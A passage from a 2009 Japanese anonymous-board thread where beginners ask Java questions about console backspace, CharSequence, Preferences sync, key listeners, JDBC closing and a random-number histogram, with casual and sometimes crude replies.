2009/05/04(月) 18:04:14みんなの答えを総合すると、次のようになる。
1) URLConnectionなんて汚いAPI使うんじゃねーよ
2) そもそもinstanceofの意味を誤解している。
1)はとりあえずおいといて、
2)について勉強しような。基本だから。
0745デフォルトの名無しさん
2009/05/04(月) 18:07:090746デフォルトの名無しさん
2009/05/04(月) 18:08:01javaでちょうど一ヶ月が経ちました。基本の基本を何とか終えました。
あと一ヶ月かけて、復習することにします。
0747デフォルトの名無しさん
2009/05/04(月) 18:16:52糞は死ね
0748デフォルトの名無しさん
2009/05/04(月) 18:35:030749デフォルトの名無しさん
2009/05/04(月) 18:36:230750デフォルトの名無しさん
2009/05/04(月) 18:49:46異なるプラットフォームの JNI ライブラリを一つの JAR に入れられますか? それとも JAR は
プラットフォームごとに用意しなきゃだめ?
0751デフォルトの名無しさん
2009/05/04(月) 19:20:05ゆとり死ね
0752デフォルトの名無しさん
2009/05/04(月) 19:25:420753デフォルトの名無しさん
2009/05/04(月) 19:30:25Preferencesを実装してるのですがこの2つがよく分かりません。
0754デフォルトの名無しさん
2009/05/04(月) 21:07:36入力してないのに勝手に + が表示されす
それが出てからは\b\b\b\b\bって何ぼやっても消せません
0755754
2009/05/04(月) 23:27:40\bがそもそも機能してなかった
そこでこんなプログラムつくってみた
class Test{
public static void main(String[] args){
System.out.print("1");
System.out.print("\b");
}
}
実行結果
1
もう意味わかりません、俺が発狂してるのか、パソコン壊れたかどっちかだ
0756デフォルトの名無しさん
2009/05/04(月) 23:41:46Unixなら消えそうだな。
DOS窓だったらそんな制御文字に対応して無さそう。
ほんとのことはシラン。
無責任なコメント。
0757755
2009/05/04(月) 23:55:39バックスペースはちゃんとされていた・・・
ただ消されてなかった・・・
上書きしないとダメなのね
0758755
2009/05/04(月) 23:56:58死にてー
0759デフォルトの名無しさん
2009/05/05(火) 00:49:520760デフォルトの名無しさん
2009/05/05(火) 08:08:05Javaって、独占禁止法の不当廉売に当たらないんですか?
0761デフォルトの名無しさん
2009/05/05(火) 10:19:15本家Sunのが有名だけど、いわば参考実装みたいなもの。
共通規格に準拠していれば誰でも実装系を開発して良い。
規格違反くり返して準拠を名乗れなくなった会社もあるが。
同じ価格帯で売らないと不当廉売なんて、それどんなカルテルw
0762デフォルトの名無しさん
2009/05/05(火) 12:00:32数が多すぎてどれ選べばいいかワカンネ
0763デフォルトの名無しさん
2009/05/05(火) 12:25:15他言語経験者だけどJava初心者→APIリファレンス+ネットのjava解説サイトで十分
ある程度書ける。知識を整理したい。→オライリーの「詳細Javaプログラミング Vol1」
薦めようと思って浅煎り珈琲のサイト確認したらなくなってた。
かなりお世話になったのに残念すぎる。
0764デフォルトの名無しさん
2009/05/05(火) 13:36:17あと言語規定の和訳。これもある程度書ける人向け。
http://www.y-adagio.com/public/standards/tr_javalang2/jTOC.doc.html
ここが役立つようなレベルだと、JAVA_HOME にある src.zip なんかも宝の山。
0765デフォルトの名無しさん
2009/05/05(火) 13:44:27呼べるならそれってユーザモードにスイッチするの?
0766デフォルトの名無しさん
2009/05/05(火) 13:45:46〜
public CharSequence subSequence(int start, int end) {
return "ABC"; //ココ1
}
ココ1で、、return 'a;'やreturn 7;とすると型が違いますと言われてエラーになりますけど、
CharSequence型は、"ABC"を受け入れるけど、7や'a' は受け入れないというのは、
どこを見れば、プログラマは分かるのでしょうか。
0767デフォルトの名無しさん
2009/05/05(火) 13:47:340768デフォルトの名無しさん
2009/05/05(火) 13:50:56return 可能な型は CharSequence のサブクラスに限られている。
→ CharSequence の API リファレンスを見る
→ String や StringBuilder などが CharSequence のサブクラスである
→ String である "ABC" は return 可能
→ char (Character) や int (Integer) は CharSequence のサブクラスではない
→ char である 'a' や int である 7 は return 不可能
0769デフォルトの名無しさん
2009/05/05(火) 13:58:53>return 可能な型は CharSequence のサブクラスに限られている。
java言語が登場すると同時に、CharSequenceインターフェイスと、そのサブクラスも存在していて、
サブクラスまで含んで、がっしり固められているのでしょうか。
CharSequenceはインターフェイスだけを見ただけでは"ABC"はOKで'a'はNGということは、
わからないですよね。
0770デフォルトの名無しさん
2009/05/05(火) 14:10:06返そうとしている char や int が CharSequence のサブクラスではない事がコンパイラには分かっている。
0771デフォルトの名無しさん
2009/05/05(火) 14:11:20キャラクターシーケンス…
さてどういう意味だろうね
0772デフォルトの名無しさん
2009/05/05(火) 14:14:48○チャー
0773デフォルトの名無しさん
2009/05/05(火) 14:27:48返答、いつもありがとうございます。
0774デフォルトの名無しさん
2009/05/05(火) 14:29:20確かにそうだが違うだろw
0775デフォルトの名無しさん
2009/05/05(火) 14:35:082002年の参考書があるのですが、いまでもこれで通用するのでしょうか、
それとも新しいのを買ったほうがいいのでしょうか。
0776デフォルトの名無しさん
2009/05/05(火) 14:40:07ココ1殿。何かあったらまたココへ来るがよい。
0777デフォルトの名無しさん
2009/05/05(火) 14:50:35その年の本だと JDK 1.3 くらいか。StringBuffer じゃなくて StringBuilder 使えとか、
assert や拡張 for なんかの機能が追加されているくらいでコーディング初心者レベルには
あまり変わらないんじゃないかな。
しかしゲネリックスやオートボクシングでハマるか。せめて J2SE 5.0 以降の本にしておき。
0778デフォルトの名無しさん
2009/05/05(火) 15:12:33念のためプロジェクトで使用するJavaのバージョンは確認したほうがいいかもね。
0779デフォルトの名無しさん
2009/05/05(火) 15:13:17日本国内ではシャーと呼ぶことが
日本民間放送連盟あたりで決められています。
0780デフォルトの名無しさん
2009/05/05(火) 15:44:47そういや、赤い彗星の彼、綴りはCharなんだよね。
米国だとキャラかケイアだけど、英国ならチャーでも通じる。
0781デフォルトの名無しさん
2009/05/05(火) 15:50:090782デフォルトの名無しさん
2009/05/05(火) 17:42:29ようにするスクリプトの書き方を知っている方いませんか?
0783デフォルトの名無しさん
2009/05/05(火) 17:53:360784デフォルトの名無しさん
2009/05/05(火) 17:57:440785デフォルトの名無しさん
2009/05/05(火) 18:43:58float x = new float();って宣言するのはどっちが速い?
あと
float x;って宣言だけならスコープ抜けた段階で開放されてガベコレは動かない?
0786デフォルトの名無しさん
2009/05/05(火) 18:50:39下のほうが早い
しかも、両者は微妙に違う。同じではない。
0787デフォルトの名無しさん
2009/05/05(火) 18:55:16Float x = new Float(0); なのかで動作も違う。まぁどちらにせよ速いのは上だが。
0788デフォルトの名無しさん
2009/05/05(火) 19:41:51flushとsyncの両メソッドは一般的にどういう機能的な差があるんでしょうか。
0789デフォルトの名無しさん
2009/05/05(火) 19:53:21sync → flush した後、自分以外が変更した設定を永続領域から Preferences に読み込む (書き込み & 再読み込み)
同時に走っている別のアプリケーションが変更した設定内容を可能性があるなら sync、
そうでなければ flush と認識しているが、sync の方はあまり使う機会がないのでよく分からん。
確かに両者の API リファレンスはイミフすぐる。
0790デフォルトの名無しさん
2009/05/05(火) 19:59:460791デフォルトの名無しさん
2009/05/05(火) 20:06:21flushで書き込んで、その次の行でnodeなど読み取りが必要なときはsyncということみたいです。
java.io.FileDescpritorとかにもsyncと同じのがあるのですがAPIの説明ではよく分かりませんでした。
0792デフォルトの名無しさん
2009/05/05(火) 20:14:53flush → メモリ上に溜めておいたデータ (バッファリングしていたデータ) を本来の場所に書き込む
sync → メモリ上の内容を本来の場所にあるデータと同じにする (同期化)
トイレでウンコした後にレバーを下げ流されて行くのを flush と言う。プログラミングの
flush もまさにあれと同じイメージ。
0793デフォルトの名無しさん
2009/05/05(火) 20:29:280794デフォルトの名無しさん
2009/05/05(火) 20:31:510795デフォルトの名無しさん
2009/05/05(火) 20:31:54syncですけど一般的にはそうですよね。
それでPreferencesではなんでflushしてから同期するのかが謎なんですけど。
0796デフォルトの名無しさん
2009/05/05(火) 20:42:03反映させなきゃけいない。
0797デフォルトの名無しさん
2009/05/05(火) 20:47:41syncの状況を見てflushするかどうか決めたいときもあるし、状況を見てウンコはそのまま溜めといてやっぱ水流すの止めたというのもありと思うんですけどね。
0798デフォルトの名無しさん
2009/05/05(火) 20:57:44同じ項目を別のアプリケーションも変更していた時 (競合状態) の対応が面倒だし、
Preferences 程度のものはあまり凝った設計するより単純明快の方が良い。
アプリケーション間でデータ連係が必要ならデータベース使ってちゃんと設計しろという話。
0799デフォルトの名無しさん
2009/05/05(火) 20:58:55class Line { Point p0; Point p1; }
public class Test388 {
public static void main(String[] args) {
Line line = new Line();
Point point = new Point();
line.p0 = new Point(); line.p0.x = 10; line.p0.y = 15; <−−−ココ1
line.p1 = new Point(); line.p1.x = 30; line.p1.y = 35; } }
このようになっているときに、line.p0 = new Point(); line.p0.x = 10;を考えると、
Lineクラスのlineオブジェクトが作られて、
lineオブジェクトが持つPointクラス型変数p0に
pointオブジェクトが格納されているアドレスが入っているので、
そのアドレスを辿って、pointオブジェクトを参照して、
そうしてpointオブジェクトの変数xに10を代入しているのであって、
lineオブジェクトを介してpointオブジェクトの変数を更新していると
考えて良いのでしょうか。
0800デフォルトの名無しさん
2009/05/05(火) 21:01:00オラクルか!
0801デフォルトの名無しさん
2009/05/05(火) 21:05:33そうだよ。Java だとアドレスじゃなくて参照と言うけど。
0802デフォルトの名無しさん
2009/05/05(火) 21:15:57データベースなんて何でもええがなw JDK 1.6 から Derby 付いてるでしょ。
少なくとも Preferences を単なるアプリケーション設定じゃなく、ユーザデータの保存とかに
使ってるなら道具を間違えてる。
あと >>798 の話は先に sync して状況判断して項目変更 & flush すれば済む話だしな。
0803デフォルトの名無しさん
2009/05/05(火) 21:42:060804デフォルトの名無しさん
2009/05/06(水) 01:57:35ありがとうございました。
0805デフォルトの名無しさん
2009/05/06(水) 01:58:59また来いよココ1
0806デフォルトの名無しさん
2009/05/06(水) 04:51:350807デフォルトの名無しさん
2009/05/06(水) 05:11:490808デフォルトの名無しさん
2009/05/06(水) 07:13:51OpenGLを使うべくJOGLをインストールしようとしているのですが、どうも上手くいかず、
OpenGLを含んだjavaファイルのコンパイル時にimportできないとエラーが出ます。
以下のようにユーザ名のフォルダにファイル(とフォルダ)を置き、.profileを編集しました。
~/jogl/builder/jogl.jar
~/jogl/builder/libjogl_awt.jnilib
~/jogl/builder/libjogl_cg.jnilib
~/jogl/builder/libjogl.jnilib
~/jogl/builder/obj
~/gluegen/builder/gluegen-rt.jar
~/gluegen/builder/libgluegen-rt.jnilib
~/gluegen/builder/obj
CLASSPATH=/Users/ユーザ名/jogl/build/jogl.jar:/Users/ユーザ名/gluegen/build/gluegen-rt.jar
DYLD_LYBRARY_PATH=/Users/ユーザ名/jogl/build/obj:/Users/ユーザ名/gluegen/build/obj
参考:
https://jogl.dev.java.net/source/browse/*checkout*/jogl/trunk/doc/HowToBuild.html
http://itpro.nikkeibp.co.jp/article/COLUMN/20060710/242865/?ST=develop
分かる方、どうかよろしくお願いします。
0809デフォルトの名無しさん
2009/05/06(水) 07:14:46よろしくお願いします。
0810デフォルトの名無しさん
2009/05/06(水) 14:13:360811デフォルトの名無しさん
2009/05/06(水) 16:05:59http://www.beachaudio.com/Omnimount/Pmd-2-p-28890.html
http://en.wikipedia.org/wiki/Overhead_projector
0812デフォルトの名無しさん
2009/05/06(水) 18:04:55フットプリント、全体としての使用量
オーバーヘッド、本来の目的に付随して必要になる量
と認識している。
0813デフォルトの名無しさん
2009/05/07(木) 01:43:33オーバーヘッド:本来の目的に付随して必要になる処理"時間"や処理量(ステップ数)
のほうがしっくりしそう。
0814デフォルトの名無しさん
2009/05/07(木) 19:29:53ソフトの開発にかかった人件費を、ソフトの価格で回収せず、
自社製ハードの価格で回収する事は、明らかなダンピング。
0815デフォルトの名無しさん
2009/05/07(木) 20:38:12それは抱き合わせの場合だろ、一円入札事件。
0816デフォルトの名無しさん
2009/05/07(木) 22:55:46抱き合わせであろうと無かろうと同じ。
0817デフォルトの名無しさん
2009/05/07(木) 23:01:490818デフォルトの名無しさん
2009/05/07(木) 23:12:41おススメの参考書ありますか?
0819デフォルトの名無しさん
2009/05/08(金) 00:22:19Sequencer演奏中のNOTE_ON,NOTE_OFFのイベントを拾いたいんだけど、
int[] controllers = {ShortMessage.NOTE_ON, ShortMessage.NOTE_OFF};
sequencer.addControllerEventListener(new ControllerEventListener() {
public void controlChange(ShortMessage event) {
System.out.println("event:" + event);
}
}, controllers);
・・・てな感じでいいんじゃないの?全然とれないんだけど。
0820デフォルトの名無しさん
2009/05/08(金) 21:55:35動きません。どうしたらいいですか?
0821デフォルトの名無しさん
2009/05/08(金) 22:31:28ChinkoとOmankoに互換性がないからじゃない?
なんのOmankoにChinko入れようとしてるの?
0822デフォルトの名無しさん
2009/05/08(金) 22:47:50気持ちいいから
って答えればいいのだろうか?
0823デフォルトの名無しさん
2009/05/08(金) 23:12:420824デフォルトの名無しさん
2009/05/08(金) 23:17:400825デフォルトの名無しさん
2009/05/08(金) 23:31:570826デフォルトの名無しさん
2009/05/08(金) 23:56:030827デフォルトの名無しさん
2009/05/09(土) 00:02:00get する前に inflate 呼ばないとダメだよ。
>inflate
>public void deflate(Object o)
> throws NoSupportedException
>
>指定された嫁を対象オブジェクトで満たします。オブジェクトがさらに必要かどうかを判断するために needsInput() を呼び出してください。
javaの意味合い的には deflate が正しいのか?微妙。
0828デフォルトの名無しさん
2009/05/09(土) 00:08:20I'm an electronic thing.
You can swing your hot body by me every day.
0829デフォルトの名無しさん
2009/05/09(土) 00:11:31On today, you might use some electronic technologies' what.
0830デフォルトの名無しさん
2009/05/09(土) 00:15:25歯茎のところがチンコさんみたいだったw
0831デフォルトの名無しさん
2009/05/09(土) 16:37:20javaで書かれたプログラムは炊飯ジャーなどでも動くと聞きますけど、
javaVMも炊飯ジャーの中に入っているのでしょうか。
PCでjavaプログラムを作成して、java開発環境のない環境で動かすには
どうすればいいのでしょうか。お教え下さい。
0832デフォルトの名無しさん
2009/05/09(土) 16:42:450833デフォルトの名無しさん
2009/05/09(土) 17:18:05ジャバカードならよく聞くけど。
0834デフォルトの名無しさん
2009/05/09(土) 17:21:100835デフォルトの名無しさん
2009/05/09(土) 17:21:330836デフォルトの名無しさん
2009/05/09(土) 17:22:28基本の基本をどうにか理解しまして、サンプルを実行してコンソールに
結果が表示されるとかです。
でも実行しても毎回が新規からでデータを継続して使ったりできないので、
あまり実感がないので、データベースを使えるようになりたいですね。
データベースを使うとデータが残っているので、そのデータを使って、
処理が再開できるので面白くなるような気がします。
エクリプスを使っているのですが、エクリプスしか知りません。コマンドから
コンパイルしたこととか一度もないです。
そういうことで、引き続きエクリプスを使いたいのですけど、
データベースは何がいいのでしょうか。MYSQLというのがいいのでしょうか。
それから、サーブレット、JSPとか、WEBアプリケーションとかいう言葉を、
ネットで見かけますけど、どういう順番でやっていくのがいいのでしょうか。
この私が勉強を続けて一歩づつ登っていくには、どういう順序で、
やっていくのがいいのでしょうか。
0837デフォルトの名無しさん
2009/05/09(土) 17:24:540838デフォルトの名無しさん
2009/05/09(土) 17:32:00jarはあくまで、バイトコード群(.classファイルたち)をまとめて圧縮
してるだけだから、やっぱ、VMは実行PCにいれておく必要があると
思う。
BASICみたいに、インタプリタ言語でありながら、機械語へのコンパイル
もできるっていうものじゃなかったきがするJavaは。
0839デフォルトの名無しさん
2009/05/09(土) 18:10:53知らないものについて書くときは、
ぐぐってから書いたほうが恥をかかなくて済むと思うよ。
>>831
当初はJavaをネイティブに実行できるJavaチップが前提だったけど、
最近は組み込みでもJavaVMを使うことが増えてきた。
0840デフォルトの名無しさん
2009/05/09(土) 18:12:200841デフォルトの名無しさん
2009/05/09(土) 20:42:57データベースは、データベース自体の知識がないと運用できないのでオススメ
できない。
まずは、テキストファイルの読み書きから始めるのが良いと思う。
"java テキストファイル"でぐぐった先のサイトでやり方を学んで、それを応用して
遊んでみてくれ。
テキストから取れるのは文字列なので、それをintとかの数字に直す方法とか、
色々と試練は待っているけども、自分でぐぐって調べていくこと自体が勉強になる。
どうしても分からなくなったら、また来るといい。
0842デフォルトの名無しさん
2009/05/09(土) 23:17:35さらにキーが押されたイベントを使いたいのですが
KeyAdapter()の下では多重にキーイベントは呼ばれないようです。
C#では呼ぶことはできたのですが、どうやれば多重に呼ぶことができますか?
0843デフォルトの名無しさん
2009/05/10(日) 00:12:29でもアダプタで効かないというのも妙な話だから、コードでミスってて、どっかが
横取りしているんだと思う。
import java.awt.event.KeyEvent;
import java.awt.event.KeyListener;
import javax.swing.JFrame;
public class KeyTest extends JFrame implements KeyListener {
public void keyPressed(KeyEvent e) {
System.out.println("keyPressed : " + e.toString());
}
public void keyReleased(KeyEvent e) {
System.out.println("keyReleased");
}
public void keyTyped(KeyEvent e) {
System.out.println("keyTyped : " + e.toString());
}
public static void main(String[] args) {
KeyTest frm = new KeyTest();
frm.addKeyListener(frm);
frm.setDefaultCloseOperation(DISPOSE_ON_CLOSE);
frm.setVisible(true);
}
}
0844デフォルトの名無しさん
2009/05/10(日) 00:29:37横取りおこってるんですかねえ。
サンプルを元にいろいろやってみます。
0845デフォルトの名無しさん
2009/05/10(日) 00:34:400846デフォルトの名無しさん
2009/05/10(日) 00:43:110847デフォルトの名無しさん
2009/05/10(日) 00:53:29にあるように、全部の部品にリスナを登録すべき。
0848デフォルトの名無しさん
2009/05/10(日) 00:54:22そうなの!?
やり方全く思いつかないorz
0849デフォルトの名無しさん
2009/05/10(日) 01:00:520850デフォルトの名無しさん
2009/05/10(日) 01:09:01{
addKeyListener(new KeyAdapter()
{
addKeyListener(new KeyAdapter()
{
略
}
);
{
略
}
);
}
);
0851デフォルトの名無しさん
2009/05/10(日) 01:15:55>>845
の意味は、こういうことできんのかよっていう
addKeyListener(new KeyAdapter()
{
略
addKeyListener(new KeyAdapter()
{
略
addKeyListener(new KeyAdapter()
{
略
}
);
}
);
}
);
どうでもいいけどタブがないと俺は何もできないということが証明された
0852デフォルトの名無しさん
2009/05/10(日) 01:18:38{
略
addKeyListener(new KeyAdapter()
{
略
addKeyListener(new KeyAdapter()
{
略
}
);
}
);
}
);
0853デフォルトの名無しさん
2009/05/10(日) 01:19:37プログラム書くの難しいよ
0854デフォルトの名無しさん
2009/05/10(日) 01:26:410855デフォルトの名無しさん
2009/05/10(日) 01:33:59import java.awt.Button;
import java.awt.event.KeyEvent;
import java.awt.event.KeyListener;
import javax.swing.JFrame;
public class KeyTest extends JFrame implements KeyListener {
public void keyPressed(KeyEvent e) {
System.out.println("keyPressed : " + e.toString());
}
public void keyReleased(KeyEvent e) {
System.out.println("keyReleased");
}
public void keyTyped(KeyEvent e) {
System.out.println("keyTyped : " + e.toString());
}
public static void main(String[] args) {
KeyTest frm = new KeyTest();
frm.addKeyListener(frm);
frm.setBounds(10, 10, 300, 150);
Button btn = new Button();
btn.addKeyListener(frm);
frm.add(btn);
frm.setDefaultCloseOperation(DISPOSE_ON_CLOSE);
frm.setVisible(true);
}
}
btn.addKeyListener(frm);
をコメントアウトしてみるとキーイベントが取れなくなる。
0856デフォルトの名無しさん
2009/05/10(日) 02:17:560857デフォルトの名無しさん
2009/05/10(日) 02:24:180858デフォルトの名無しさん
2009/05/10(日) 03:08:330859デフォルトの名無しさん
2009/05/10(日) 11:24:200860デフォルトの名無しさん
2009/05/10(日) 14:52:08いまいち便利さが分からない・・・
実際内部クラスってよく使われるの?
0861デフォルトの名無しさん
2009/05/10(日) 15:02:16なんか、Javaアプレットとかのソースで使われてるのはみたことある。
アプレットとしては、一つのクラスにおさめて、その中で役割や構造の明確化
の為にインナークラスとして機能ごとにまとめてるとか?
Java使いさん、だれかおせーて。
0862デフォルトの名無しさん
2009/05/10(日) 15:09:450863デフォルトの名無しさん
2009/05/10(日) 15:24:58うん。でも「内部クラス」でひとくくりにしない方が良いと思う。
内部クラスといってもpublic・private・staticの有無・名前付き
だったり無名だったりと、宣言の違いによって使う使用シーンが
異なるから。
0864デフォルトの名無しさん
2009/05/10(日) 15:32:280865デフォルトの名無しさん
2009/05/10(日) 16:15:16javax.swing.レイアウト関連にはSwing
BorderLayoutなどのawtのものを使った方がいいのでしょうか?
0866デフォルトの名無しさん
2009/05/10(日) 16:17:18javax.swing.*;にはレイアウトのクラスがないようですが
java.awt.BorderLayoutなどのawtのものを使った方がいいのでしょうか?
です。
0867デフォルトの名無しさん
2009/05/10(日) 16:19:05定義されているクラス(イベント類とかフォントとかレイアウトと)を
使ってはいけないわけではない。
ただし、コンポーネント(GUIパーツ)はSwingの Jxxxで揃えること。
混ぜて使うには若干テクニックが要る。
0868デフォルトの名無しさん
2009/05/10(日) 20:34:14ConnectionとResultSetとStatementについて質問なのですが、
finallyでcloseする際に上記3つのインスタンスをcloseしますが、
Connection conn = null;
Statement statement = null;
ResultSet resultSet = null;
try { // do something
} catch (SQLException sqlEx) { // do something
} finally {
if (statement != null) {
try {
statement.close();
} catch (SQLException sqlEx) {
sqlEx.printStackTrace();
}
}
if (resultSet != null) {
try {
resultSet.close();
} catch (SQLException sqlEx) {
sqlEx.printStackTrace();
}
}
if (conn != null) {
try {
conn.close();
} catch (SQLException sqlEx) {
sqlEx.printStackTrace();
}
}
}
0869デフォルトの名無しさん
2009/05/10(日) 20:42:28try { // do something
} catch (SQLException sqlEx) { // do something
} finally {
try {
if (statement != null) statement.close();
if (resultSet != null) resultSet.close();
if (conn != null) conn.close();
} catch (SQLException sqlEx) {
sqlEx.printStackTrace();
}
}
このように書く場合とは、どちらが正しいのでしょうか。
そもそもConnectionとResultSetとStatementのclose()で例外が起きるケースというのはあるのでしょうか。
また、>>868の場合でstatementやresultSetのclose()に失敗した場合、
いきなりconnをclose()することになると思うのですが、
statementやresultSetを放置したままでconnのclose()を行っても問題無いのでしょうか?
また、StatementはConnectionから作られ、ResultSetはStatementから作られるため、
最上位のConnectionのみのclose()を行えば全てがclose()されて問題無かったりしますか?
0870デフォルトの名無しさん
2009/05/10(日) 21:41:12Skypeを使う事ってできますか?
Skypeを直接無理でも
fringの様なかんじで
関節的にSkypeをドコモの携帯(Java)で
使う事はできるのでしょうか?
0871デフォルトの名無しさん
2009/05/10(日) 22:12:54Connectionとかの実装によるから、なんとも言えないんじゃないかな。
俺だとトランザクションをロールバックさせてConnectionだけクローズしちゃう。
Statementとかは自動解放してくれると「期待」してnullセット。
ロールバックでエラー?そんなの無視無視w
0872デフォルトの名無しさん
2009/05/10(日) 22:25:23Javaだとそういうプロジェクトはあるけど、携帯はMEだからあきらめときなさい。
http://skype.sourceforge.jp/
https://developer.skype.com/Docs/ApiDoc
ネイティブライブラリもWindows/Mac/Linuxしか無いしね。
自作しようってスキルがあるなら、こんなとこで聞かないだろうし。
0873デフォルトの名無しさん
2009/05/10(日) 22:33:19古い DB2 実装は Connection だけクローズして ResultSet クローズさせずに居ると
キャッシュが残ってあっという間にヒープ食い尽くしてた。
0874デフォルトの名無しさん
2009/05/10(日) 22:44:27どっちもMouseListener追加すると下にあるJPanelからイベントが取れないんですが
どうすればいいんでしょうか
上のJPanelにMouseListener追加しないと下からは取れるみたいなんですが。
0875デフォルトの名無しさん
2009/05/11(月) 00:00:13?????????
モバイル版たくさん出てますよ?
スマホは当たり前で
スマートホンじゃない
携帯のモバイル版も最近はあるようです
つまり
FOMAでもモバイルSkypeを走らすことは可能ではないでしょうか?
あとそれが無理ならmobile2pcを使う際に
こちら側の音声を
パソコンに飛ばすことはできますか?
0876デフォルトの名無しさん
2009/05/11(月) 00:22:33それならスレ違いだね。
Javaで開発だと思ったから、ライブラリはどこ?かと。
PC等のモバイル板にどうぞ。
0877デフォルトの名無しさん
2009/05/11(月) 07:17:000から1の乱数をN個つくりM個の区間わけるという頻度分布を出すプログラムを作っています。メインにつめこんで作るとうまくいったのですが、メソッドに分けて作ると失敗してしまいました。プログラムを下に書きます。
0878デフォルトの名無しさん
2009/05/11(月) 07:17:392 public static void main(String[] args) {
3 Ransuu r = new Ransuu(100,10);
4 r.eval();
5 }
6 public Ransuu(int N,int M){ // count配列を作る
7 int x = 0;
8 int[] count = new int[M]; // 個数をカウントする配列
9
10 // カウント初期化
11 for(int j=0;j<M;j++)
12 count[j] = 0;
13
14 // N個分の区域分けを繰り返す
15 for(int i=0;i<N;i++){
16
17 // 乱数に分ける区間の数Mをかけて1以上の数にする
18 x=(int) (Math.random( ) * M);
19
20 // カウントする
21 count[x]+=1;
22 }
23
24 // count関数を表示する
25 for(int j=0;j<M;j++)
26 System.out.println(j+" "+count[j]);
27 }
28
0879デフォルトの名無しさん
2009/05/11(月) 07:20:4030 // 平均・分散を求める
31 double a,wa = 0; // 和を求めるための変数
32 double heikin,bunsan = 0; // 平均と分散の変数
33
34 double M = 0;
35 String[] count = null;
36 // count関数を表示する
37 for(int j=0;j<M;j++){
38 System.out.println(j+" "+count[j]);
39 }
40
41 // 個数の和を計算する。
42 for(int j=0;j<M;j++){
43 wa+=count[j];
44 }
45 // 平均を求める。
46 heikin=wa/M;
47
48 // 分散を求める。
49 wa=0;
50 for(int j=0;j<M;j++){
51 a=(count[j]-heikin)*(count[j]-heikin);
52 wa+=a;
53 }
54 bunsan=wa/M;
55
56 // 平均・分散の表示
57 System.out.println("平均は"+heikin);
58 System.out.println("分散は"+bunsan);
59 }
60}
0880デフォルトの名無しさん
2009/05/11(月) 07:27:43行番号29から59までが平均・分散をもとめるメソッドとなっています。
そもそもメインのrの使い方もおかしい気がします。
エラーの内容としては
43行目 互換性のない型
51行目 演算子-はjava.lang.String.doubleに適用できません
です。
もしお暇があればよろしくおねがいします。
0881デフォルトの名無しさん
2009/05/11(月) 07:50:02priate int[] count;
public Ransu(int n, int m){
this.count = new int[m];
for(int i=0; i<n; i++)
count[(int)(Math.random() * m)] ++;
}
public void eval(){
double sum = 0;
for(int i=0; i<count.length; i++)
sum += count[i];
double average = sum / count.length;
...
}
}
0882デフォルトの名無しさん
2009/05/11(月) 08:16:55今から少し訂正してみます。
0883デフォルトの名無しさん
2009/05/11(月) 09:11:28すみません。
>>880のエラーは行番号35のstring型をint型にすることで解決できました。
しかしまだプログラムは実行できず
もとのプログラムの修正点などを指摘していただけるとたすかるのですが・・・
0884デフォルトの名無しさん
2009/05/11(月) 09:59:53run:
0 10
1 5
2 8
3 10
4 8
5 14
6 10
7 9
8 17
9 9
平均はNaN
分散はNaN
構築成功 (合計時間: 4 秒)
0885デフォルトの名無しさん
2009/05/11(月) 12:16:15A
0886デフォルトの名無しさん
2009/05/11(月) 12:16:55int val1;
}
0887デフォルトの名無しさん
2009/05/11(月) 12:18:33スペースが表示されるんですね。
2chでは普通の0x20コードだとインデントは消えて困るんですが、
これが解決策ですかね。
0888デフォルトの名無しさん
2009/05/11(月) 12:26:160889デフォルトの名無しさん
2009/05/11(月) 12:29:32採点になって1つのクラスで作ったことで減点もらったんだけど、先生曰く「そこは別々のクラスで作ってほしい」と言っていた。
1つのクラスにまとめて作るのって何か問題あるのか?
0890デフォルトの名無しさん
2009/05/11(月) 12:43:24それじゃJavaじゃなくてもいいじゃん・・・みたいな。
間違いじゃないけど、後々で困ることに。
というか、先生がいるなら、直接聞いたほうが早い。
しっかり質問すれば、向こうも答えてくれるよ。
なんで、別々で作るんですか?って。
0891デフォルトの名無しさん
2009/05/11(月) 12:47:170892デフォルトの名無しさん
2009/05/11(月) 13:36:061.5で動いていたものが動かなくなったらしく…
1.6のjavadocで「導入されたバージョン: 1.5」とかあるので、
これの1.6がなければ1.6での変更がないって考えていいものでしょうか?
対象クラスの変更があったかを確認するもっと簡単はあるでしょうか?
0893デフォルトの名無しさん
2009/05/11(月) 21:16:010894デフォルトの名無しさん
2009/05/11(月) 22:15:56コンソールアプリで画面遷移のあるプログラムを作っています。
========
= TEST =
========
1・・・
2・・・
3・・・
15・・・
16・・・
というような感じで、数字を入力する事によって画面遷移するプログラムです。
この出力をprintlnを使ってやっていたのですが、printlnを使うよりStringBufferを
使ったほうがいい(スマート)といわれたのですが、いまいちよくわかりません(メリット、使い方)。
分かる方よろしくお願いします。
0895デフォルトの名無しさん
2009/05/11(月) 22:41:04http://java.sun.com/javase/ja/6/webnotes/compatibility.html
0896デフォルトの名無しさん
2009/05/11(月) 22:41:29StringBufferを使えば、遷移で変化する部分だけ、insertメソッドや
deleteメソッドなどでStringオブジェクトを変更して、それを一回の
printlnメソッド(またはprintメソッド)で出力した方がいいって
ことじゃないかと思います。
ちがうかな。
0897デフォルトの名無しさん
2009/05/11(月) 22:44:52コンソール制御のできないjavaだとあまり意味ないような。
0898デフォルトの名無しさん
2009/05/11(月) 22:51:12全部 StringBuffer に append して一度の println で出力するということ?
愚直に println 並べるよりはスマート(利口)に見える気はするが、
積極的に推すほどのものでもないんじゃなかろうか。
そもそも StringBuilder がある時代に(ry
0899デフォルトの名無しさん
2009/05/11(月) 23:33:11>>873
お返事が遅くなりすみません、レスありがとうございます。
小物アプリで練習ということでMySQLを使用して動かしています。
とりあえず例外を常時意識するという観点で、個別にtry - catchを行うように書いています。
DB2の実装によって挙動が異なるということですが、その辺りの情報は別途収集しようと思います。
ありがとうございました。
0900デフォルトの名無しさん
2009/05/11(月) 23:49:36手で入力した名前を検索し、表示させたいと思っています。
for(int i=0;i<name.length;i++){
if(name[i].equals(kensaku)) System.out.println(name[i]);
name配列を一通り検索し、該当する名前が無い場合にその旨を表示させるにはどうしたらいいでしょうか?
0901デフォルトの名無しさん
2009/05/11(月) 23:55:14boolean flag = true;
for(int i=0;i<name.length;i++){
if(name[i].equals(kensaku)){
System.out.println(name[i]);
flag = false;
}
if(flag) System.out.println("No name matched.");
とか?
ただ、該当するたびにflagに代入が入るので、あまり
うまいやり方ではないかも。
0902デフォルトの名無しさん
2009/05/11(月) 23:58:250903デフォルトの名無しさん
2009/05/11(月) 23:59:07なるほど。参考になりました。
0904デフォルトの名無しさん
2009/05/12(火) 00:05:48// hoge
}
これじゃ動かん?コンパイルしてないからわからんけど。
0905デフォルトの名無しさん
2009/05/12(火) 00:23:19なんかいけそうな気がする。
Arraysクラスって使ったことないんだけど、ちょっと見てみたら
staticメソッドしかないんだね。
